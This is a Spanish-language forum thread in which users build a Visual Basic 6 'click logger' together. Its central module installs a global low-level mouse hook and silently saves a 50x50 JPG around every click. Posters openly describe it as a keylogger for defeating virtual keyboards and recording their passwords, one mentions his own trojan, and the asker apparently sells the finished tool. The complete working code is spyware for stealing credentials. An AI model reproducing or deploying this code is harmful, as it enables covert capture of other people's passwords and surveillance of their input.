Bueno quiero que cuando el raton haga click capture una imagen de su alrededor de 50x50, estoy intentando por ahora que al hacer click por lo menos capture y despues de varios intentos he llegado a la conclusion de que tengo que hacer hooks al raton, me puse a buscar ejemplos mas o menos del hook al raton pero no me sirvieron, la idea es por ahora que al hacer click capture la imagen de la ventana activa y ya luego el otro problema seria mostrando el puntero en la captura de 50x50
Esta sería la función que capturaría la ventana activa :
Public Function cWindow()
Num = Num + 1
keybd_event 44, 0, 0&, 0&
DoEvents
If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), sIM & Num & ".bmp"
End Function
Y lo que intento hacer es ahora con las siguientes declaraciones, es saber cuando se hizo click y llamar a la otra función :
Public Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Const WH_MOUSE As Long = 7
Saludos! :huh:
mira usa esta api GetKeyState para detectar cuando se hizo click al raton...
colocas dentro de un timer con intervalo de 1
If GetAsyncKeyState(1) = -32767 Then
'TakeScreenshot
End If
Para tomar la screenshot, usa esto: StretchBlt
Private Declare Function StretchBlt Lib "gdi32" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
'HDC hdcDest, // manipulador del contexto de dispositivo de destino
'int nXOriginDest, // coordenada x de la esquina superior izquierda del rectángulo de destino
'int nYOriginDest, // coordenada y de la esquina superior izquierda del rectángulo de destino
'int nWidthDest, // anchura del rectángulo de destino
'int nHeightDest, // altura del rectángulo de destino
'HDC hdcSrc, // manipulador del contexto de dispositivo de origen
'int nXOriginSrc, // coordenada x de la esquina superior izquierda del rectángulo de origen
'int nYOriginSrc, // coordenada y de la esquina superior izquierda del rectángulo de origen
'int nWidthSrc, // anchura del rectángulo de origen
'int nHeightSrc, // altura del rectángulo de origen
'DWORD dwRop // código de operación de rastreo
jackl007 ツ muy completa tu respuesta, enseguida lo pruebo! =)
revisa este hilo tambien:
http://foro.elhacker.net/printpage.html;topic=179087.0
Cita de: jackl007 ツ en 10 Enero 2010, 17:32 PM
revisa este hilo tambien:
http://foro.elhacker.net/printpage.html;topic=179087.0
Bueno estuve viendo este ejemplo tambien : http://www.freevbcode.com/ShowCode.asp?ID=1449 (http://www.freevbcode.com/ShowCode.asp?ID=1449)
Haber si voy bien :
Declaraciones :
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Public Declare Function StretchBlt Lib "gdi32" (ByVal hDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Public Declare Function GetCursorPos Lib "user32" (lPointCoordinateoint As PointAPI) As Long
Public Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Public Type PointAPI
x As Long
Y As Long
End Type
Cuando detecta el click llamo a la función :
Case 1: Call cWindow
La función me estoy liando un poco y no se si va bien,
tendria que pasar la imagen del hdC al picture
Public Function cWindow()
Num = Num + 1
File = FreeFile
lActiveWnd = GetDC(hForegroundWnd)
GetCursorPos PointCoordinate
StretchBlt frmMain.imGc.hDC, 2, 2, 124, 60, hForegroundWnd, PointCoordinate.x - 30, PointCoordinate.Y - 12.5, 100, 100, &HCC0020
SavePicture frmMain.imGc.Picture, Environ("Temp") & "\imgKB" & Num & ".bmp"
End Function
Saludos! :)
Hola, te arme este ejemplo "asi nomas" para ver si es lo que queres, lo que hace es mostrar en el formulario el area 50x50 donde pasa el mouse por la pantalla.lo unico que debes hacer es ponerle la api para detectar el click y que ahi capture, (o podes usar el hook del mouse, lo que vos quieras).
Option Explicit
Private Type PALETTEENTRY
peRed As Byte
peGreen As Byte
peBlue As Byte
peFlags As Byte
End Type
Private Type LOGPALETTE
palVersion As Integer
palNumEntries As Integer
palPalEntry(255) As PALETTEENTRY
End Type
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End Type
Private Type PicBmp
Size As Long
Type As Long
hBmp As Long
hPal As Long
Reserved As Long
End Type
Private Type POINTAPI
X As Long
Y As Long
End Type
Private Declare Function CreateCompatibleDC Lib "GDI32" (ByVal hDC As Long) As Long
Private Declare Function CreateCompatibleBitmap Lib "GDI32" (ByVal hDC As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function GetDeviceCaps Lib "GDI32" (ByVal hDC As Long, ByVal iCapabilitiy As Long) As Long
Private Declare Function GetSystemPaletteEntries Lib "GDI32" (ByVal hDC As Long, ByVal wStartIndex As Long, ByVal wNumEntries As Long, lpPaletteEntries As PALETTEENTRY) As Long
Private Declare Function CreatePalette Lib "GDI32" (lpLogPalette As LOGPALETTE) As Long
Private Declare Function SelectObject Lib "GDI32" (ByVal hDC As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "GDI32" (ByVal hDCDest As Long, ByVal XDest As Long, ByVal YDest As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hDCSrc As Long, ByVal XSrc As Long, ByVal YSrc As Long, ByVal dwRop As Long) As Long
Private Declare Function DeleteDC Lib "GDI32" (ByVal hDC As Long) As Long
Private Declare Function SelectPalette Lib "GDI32" (ByVal hDC As Long, ByVal hPalette As Long, ByVal bForceBackground As Long) As Long
Private Declare Function RealizePalette Lib "GDI32" (ByVal hDC As Long) As Long
Private Declare Function GetWindowDC Lib "USER32" (ByVal hWnd As Long) As Long
Private Declare Function ReleaseDC Lib "USER32" (ByVal hWnd As Long, ByVal hDC As Long) As Long
Private Declare Function GetDesktopWindow Lib "USER32" () As Long
Private Declare Function OleCreatePictureIndirect Lib "olepro32.dll" (PicDesc As PicBmp, RefIID As GUID, ByVal fPictureOwnsHandle As Long, IPic As IPicture) As Long
Private Declare Function GetCursorPos Lib "USER32" (lpPoint As POINTAPI) As Long
Private Const RASTERCAPS As Long = 38
Private Const RC_PALETTE As Long = &H100
Private Const SIZEPALETTE As Long = 104
Private vMouse As POINTAPI
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 50
End Sub
Private Function CapturarAreaPantalla(ByVal X As Long, ByVal Y As Long, ByVal pAncho As Long, ByVal pAlto As Long) As Picture
Dim hDCMemory As Long
Dim hBmp As Long
Dim hBmpPrev As Long
Dim r As Long
Dim hDCSrc As Long
Dim hPal As Long
Dim hPalPrev As Long
Dim RasterCapsScrn As Long
Dim HasPaletteScrn As Long
Dim PaletteSizeScrn As Long
Dim LogPal As LOGPALETTE
Dim hWndScreen As Long
hWndScreen = GetDesktopWindow()
hDCSrc = GetWindowDC(hWndScreen)
hDCMemory = CreateCompatibleDC(hDCSrc)
hBmp = CreateCompatibleBitmap(hDCSrc, pAncho, pAlto)
hBmpPrev = SelectObject(hDCMemory, hBmp)
RasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS)
HasPaletteScrn = RasterCapsScrn And RC_PALETTE
PaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE)
If HasPaletteScrn And (PaletteSizeScrn = 256) Then
LogPal.palVersion = &H300
LogPal.palNumEntries = 256
r = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0))
hPal = CreatePalette(LogPal)
hPalPrev = SelectPalette(hDCMemory, hPal, 0)
r = RealizePalette(hDCMemory)
End If
r = BitBlt(hDCMemory, 0, 0, pAncho, pAlto, hDCSrc, X, Y, vbSrcCopy)
hBmp = SelectObject(hDCMemory, hBmpPrev)
If HasPaletteScrn And (PaletteSizeScrn = 256) Then
hPal = SelectPalette(hDCMemory, hPalPrev, 0)
End If
r = DeleteDC(hDCMemory)
r = ReleaseDC(hWndScreen, hDCSrc)
Set CapturarAreaPantalla = CreateBitmapPicture(hBmp, hPal)
End Function
Private Function CreateBitmapPicture(ByVal hBmp As Long, ByVal hPal As Long) As Picture
Dim r As Long
Dim Pic As PicBmp
Dim IPic As IPicture
Dim IID_IDispatch As GUID
With IID_IDispatch
.Data1 = &H20400
.Data4(0) = &HC0
.Data4(7) = &H46
End With
With Pic
.Size = Len(Pic)
.Type = vbPicTypeBitmap
.hBmp = hBmp
.hPal = hPal
End With
r = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)
Set CreateBitmapPicture = IPic
End Function
Private Sub Timer1_Timer()
Call GetCursorPos(vMouse)
Me.Picture = CapturarAreaPantalla(vMouse.X, vMouse.Y, 50, 50)
End Sub
saludos.
hola no se si es lo que yo entiendo vos queres hacer algo asi como un keyloger pero capturando las imagenes al hacer click en algun teclado virtual
te pongo un ejemplo haciendo hook al mouse y guarda las capturas en .jpg la carpeta que le indiques
dentro de un Modulo Bas
Option Explicit
'--------------------------------------------
'Autor: Leandro Ascierto
'Web: www.leandroascierto.com.ar
'Date: 11/01/2010
'--------------------------------------------
Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GdiplusStartup Lib "gdiplus" (token As Long, inputbuf As GDIPlusStartupInput, Optional ByVal outputbuf As Long = 0) As Long
Private Declare Function GdipLoadImageFromFile Lib "GdiPlus.dll" (ByVal mFilename As Long, ByRef mImage As Long) As Long
Private Declare Function GdipDisposeImage Lib "gdiplus" (ByVal Image As Long) As Long
Private Declare Function GdipCreateBitmapFromHBITMAP Lib "gdiplus" (ByVal hbm As Long, ByVal hpal As Long, ByRef BITMAP As Long) As Long
Private Declare Sub GdiplusShutdown Lib "gdiplus" (ByVal token As Long)
Private Declare Function GdipSaveImageToFile Lib "gdiplus" (ByVal Image As Long, ByVal FileName As Long, ByRef ClsidEncoder As GUID, ByRef EncoderParams As Any) As Long
Private Declare Function CLSIDFromString Lib "ole32" (ByVal str As Long, id As GUID) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32.dll" () As Long
Private Const ImageCodecJPG = "{557CF401-1A04-11D3-9A73-0000F81EF32E}"
Private Const EncoderQuality = "{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"
Private Const EncoderParameterValueTypeLong = 4
Private Const WH_MOUSE_LL As Long = 14
Private Const WM_LBUTTONUP As Long = &H202
Private Const CAPTUREBLT As Long = &H40000000
Private Const SRCCOPY As Long = &HCC0020
Private Type CWPSTRUCT
lParam As Long
wParam As Long
message As Long
hwnd As Long
End Type
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(0 To 7) As Byte
End Type
Private Type EncoderParameter
GUID As GUID
NumberOfValues As Long
type As Long
Value As Long
End Type
Private Type EncoderParameters
Count As Long
Parameter(15) As EncoderParameter
End Type
Private Type GDIPlusStartupInput
GdiPlusVersion As Long
DebugEventCallback As Long
SuppressBackgroundThread As Long
SuppressExternalCodecs As Long
End Type
Private hHook As Long
Private m_Width As Long
Private m_Height As Long
Private m_DestPath As String
Private lCounter As Long
Private m_JpgQuality As Long
Private lHdc As Long
Private hBitmap As Long
Private DeskDC As Long
Public Function StartMouseCapture(DestPath As String, Optional JpgQuality As Long = 50, Optional Size As Long = 64) As Boolean
m_DestPath = IIf(Right(DestPath, 1) <> "\", DestPath & "\", DestPath)
If Size < 10 Then Size = 10
m_Width = Size
m_Height = Size
m_JpgQuality = JpgQuality
If hHook Then Exit Function
If IsGdiPlusInstaled() Then
DeskDC = GetDC(GetDesktopWindow)
lHdc = CreateCompatibleDC(DeskDC)
hBitmap = CreateCompatibleBitmap(DeskDC, m_Width, m_Height)
DeleteObject SelectObject(lHdc, hBitmap)
hHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf MouseProcedure, App.hInstance, 0)
StartMouseCapture = True
End If
End Function
Public Sub StopMouseCapture()
UnhookWindowsHookEx hHook
DeleteDC lHdc
DeleteDC DeskDC
DeleteObject hBitmap
hHook = 0
End Sub
Private Function SaveImageToJpg(ByVal SrchBitmap As Long, ByVal DestPath As String, Optional ByVal JPG_Quality As Long = 85) As Boolean
On Error Resume Next
Dim GDIsi As GDIPlusStartupInput, gToken As Long, hBitmap As Long
Dim tEncoder As GUID
Dim tParams As EncoderParameters
If JPG_Quality > 100 Then JPG_Quality = 100
If JPG_Quality < 0 Then JPG_Quality = 0
CLSIDFromString StrPtr(ImageCodecJPG), tEncoder
With tParams
.Count = 1
.Parameter(0).NumberOfValues = 1
.Parameter(0).type = EncoderParameterValueTypeLong
.Parameter(0).Value = VarPtr(JPG_Quality)
CLSIDFromString StrPtr(EncoderQuality), .Parameter(0).GUID
End With
GDIsi.GdiPlusVersion = 1&
GdiplusStartup gToken, GDIsi
If gToken Then
If GdipCreateBitmapFromHBITMAP(SrchBitmap, 0, hBitmap) = 0 Then
If GdipSaveImageToFile(hBitmap, StrPtr(DestPath), tEncoder, tParams) = 0 Then
SaveImageToJpg = True
End If
GdipDisposeImage hBitmap
End If
GdiplusShutdown gToken
End If
End Function
Public Function IsGdiPlusInstaled() As Boolean
Dim hLib As Long
hLib = LoadLibrary("gdiplus.dll")
If hLib Then
If GetProcAddress(hLib, "GdiplusStartup") Then
IsGdiPlusInstaled = True
End If
FreeLibrary hLib
End If
End Function
Public Function MouseProcedure(ByVal idHook As Long, ByVal wParam As Long, lParam As CWPSTRUCT) As Long
MouseProcedure = CallNextHookEx(hHook, idHook, wParam, ByVal lParam)
If wParam = WM_LBUTTONUP Then
BitBlt lHdc, 0, 0, m_Width, m_Height, DeskDC, lParam.lParam - (m_Width / 2), lParam.wParam - (m_Height / 2), SRCCOPY Or CAPTUREBLT
SaveImageToJpg hBitmap, m_DestPath & lCounter & ".jpg", m_JpgQuality
lCounter = lCounter + 1
End If
End Function
y en un formulario para probar
Private Sub Form_Load()
StartMouseCapture "C:\", 20, 50
End Sub
Private Sub Form_Unload(Cancel As Integer)
StopMouseCapture
End Sub
Saludos.
Impresionante los ejemplos, los veré detenidamente.
Gracias! =)
@LeandroA
mis respetos.
Dulces lunas!¡.
@Leandro tu modulo es mas eficiente que el mio.... jajaja muy bueno eh!
yo estaba haciendo lo mismo pero de otra manera, mas largo...
PD:creo que entonces queda solucionado tu problema sharki no? listo :)
SALUDOS :)
Che Leandro, porque inicializas GDI+ cada vez que vas a guardar la imagen en vez de hacerlo en StartMouseCapture y terminarlo en StopMouseCapture? es para que no explote?
Leandro, mis respetos, está buenisimo el modulo. Pero sabes alguna forma de que en las capturas se vea el mouse? o se marque algún cuadrado?
Saludos! ;D
ya estas pidiendo todo hecho, mira bueno hay una funcion para dibujar lineas conociendo dos puntos
mira este post:
http://foro.elhacker.net/programacion_vb/cubo_en_3d_girando_efecto_optico_sin_apis_explicacion-t235246.0.html
y alli esta la solucion ;)
Cita de: jackl007 ツ en 11 Enero 2010, 20:34 PM
ya estas pidiendo todo hecho, mira bueno hay una funcion para dibujar lineas conociendo dos puntos
mira este post:
http://foro.elhacker.net/programacion_vb/cubo_en_3d_girando_efecto_optico_sin_apis_explicacion-t235246.0.html
y alli esta la solucion ;)
jeje perdon, gracias por la info =)
Cita de: cobein en 11 Enero 2010, 15:09 PM
Che Leandro, porque inicializas GDI+ cada vez que vas a guardar la imagen en vez de hacerlo en StartMouseCapture y terminarlo en StopMouseCapture? es para que no explote?
Exacto lo inicialize dentro de la funcion para que no crashe en el IDE pero bueno obiamente seria mejor ponerlo dentro de StartMouseCapture o bien usar el GDIplusIDEsafe de LaVolpe pero bueno sale con fritas.
Cita de: Sharki en 11 Enero 2010, 20:28 PM
Leandro, mis respetos, está buenisimo el modulo. Pero sabes alguna forma de que en las capturas se vea el mouse? o se marque algún cuadrado?
Saludos! ;D
podes poner estas dos apis
Private Declare Function GetCursor Lib "user32" () As Long
Private Declare Function DrawIcon Lib "user32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal hIcon As Long) As Long
y despues justo de la llamada al api BitBlt pones
DrawIcon lHdc, (m_Width / 2), (m_Height / 2), GetCursor
pero te puede llegar a tapar la letra y no te serviria de nada la captura, mejor seria poner un puntito con SetPixel
Saludos.
Cita de: Sharki en 11 Enero 2010, 20:28 PM
Leandro, mis respetos, está buenisimo el modulo. Pero sabes alguna forma de que en las capturas se vea el mouse? o se marque algún cuadrado?
Saludos! ;D
Se supone que el centro de la imagen es en donde se hizo el clic, una forma manual seria poner el mouse (el real) en el centro de cada captura y luego pasas imagen tras imagen, veras que el centro de la captura representa el lugar en el que se hizo el clic.
otra forma mas automatica seria cargar todas las capturas en pictures del mismo tamaño y alli dibujar 2 lineas horizontal y vertical desde los medios, la interseccion nos daria el lugar exacto en donde se hizo el clic.
Otra seria dibujar tambien lineas directamente sobre los archivos JPG de las capturas.
y otra y otra, en fin.. buen modulo... yo habia hecho algo similar con el mismo proposito, el mio captura las coordenadas en donde se hizo el clic y luego en una captura JPG reproduzco los sucesivos clic marcando con un punto y asi anotar la clave del teclado virtual.
Saludos.
Wao, Leandro buenisimo. Excelente!
Ahora veo que estas vendiendo tu aplicacion con el codigo que te puso Leandro, te lo puso completito todo listo
(http://2.bp.blogspot.com/_xxF89K0kLKg/S0uz4_6RnXI/AAAAAAAAAHA/oYvZBfeN_vA/s320/KB.png)
no piensas dar copias gratis??
Vaya, vaya...
Dónde lo está vendiendo?
Claro, a los que me ayudaron porque no?.. y si son ustedes dos los que vais criticando anonimamente en mi blog, no sean mierdas y den la cara, no se que criticais.. que lo venda? no todo el mundo piensa igual, y si.. claro que me ayudo el modulo de LA igual que los comments de los demás, pero antes de hacer criticas las cosas se hablan, no como crios de *****.
PD : El modulo de Leandro es una parte del programa, el lo publico y es de libre uso.. porsupuestamente para aprender. Si ustedes estáis 'envidiosos' o tocados de moral apunten su meada hacia otro lado. Me da rabia que se discuta por una estupidez semejante.
Por que tanta molestia? Nadie ha dicho nada.
Yo para mi troyano también uso compresion GDI+ el unico problema que la veo es que la CPU suda como un cerdo :laugh: :laugh: (Y si encima cada click que das convierte una imagen.... no se si resistirá sin petar, quizá deberias agregarle un máximo de clicks por cada intervalo de tiempo...). De todas maneras la función para hookear el ratón es verdaderamente lo que importa ya que estoy con el tema de Hooks en VB y nome entero de na :rolleyes: :rolleyes:
Saludos ;-)
pd: la verdad Shark es que nome gusta que vendas un programa cuya idea fundamental esté edificada en un módulo público (ya que cualquiera puede hacerlo). Una herramienta privada debe ser inedita(en alguno de sus aspectos al menos)
por si acaso, yo no hice el comentario; vayas a pensar que fui yo porque publique la imagen aqui de tu blog:
scblabsteam.blogspot.com
Cita de: raulrl en 14 Enero 2010, 21:31 PM
pd: la verdad Shark es que nome gusta que vendas un programa cuya idea fundamental esté edificada en un módulo público (ya que cualquiera puede hacerlo). Una herramienta privada debe ser inedita(en alguno de sus aspectos al menos)
Tu opinión, y se respeta.. yo tampoco estoy de acuerdo con muchas cosas que haces tu y me callo ;)
Por cierto... idea fundamental? es una parte del codigo y agradezco profundamente a Leando Ascierto,
pero el modulo no es todo el programa.jackl007 ツ no se quien fue pero es un cobarde de ***** insultando anonimamente.. ya igual paso, al final voy a hacer lo que me salga del culo.. paso de mas problemas, que ya tengo muchos 'en la vida real'.
No peleen chicas, si alguien tiene "derecho" a quejarse es Leandro y si el no lo hizo.....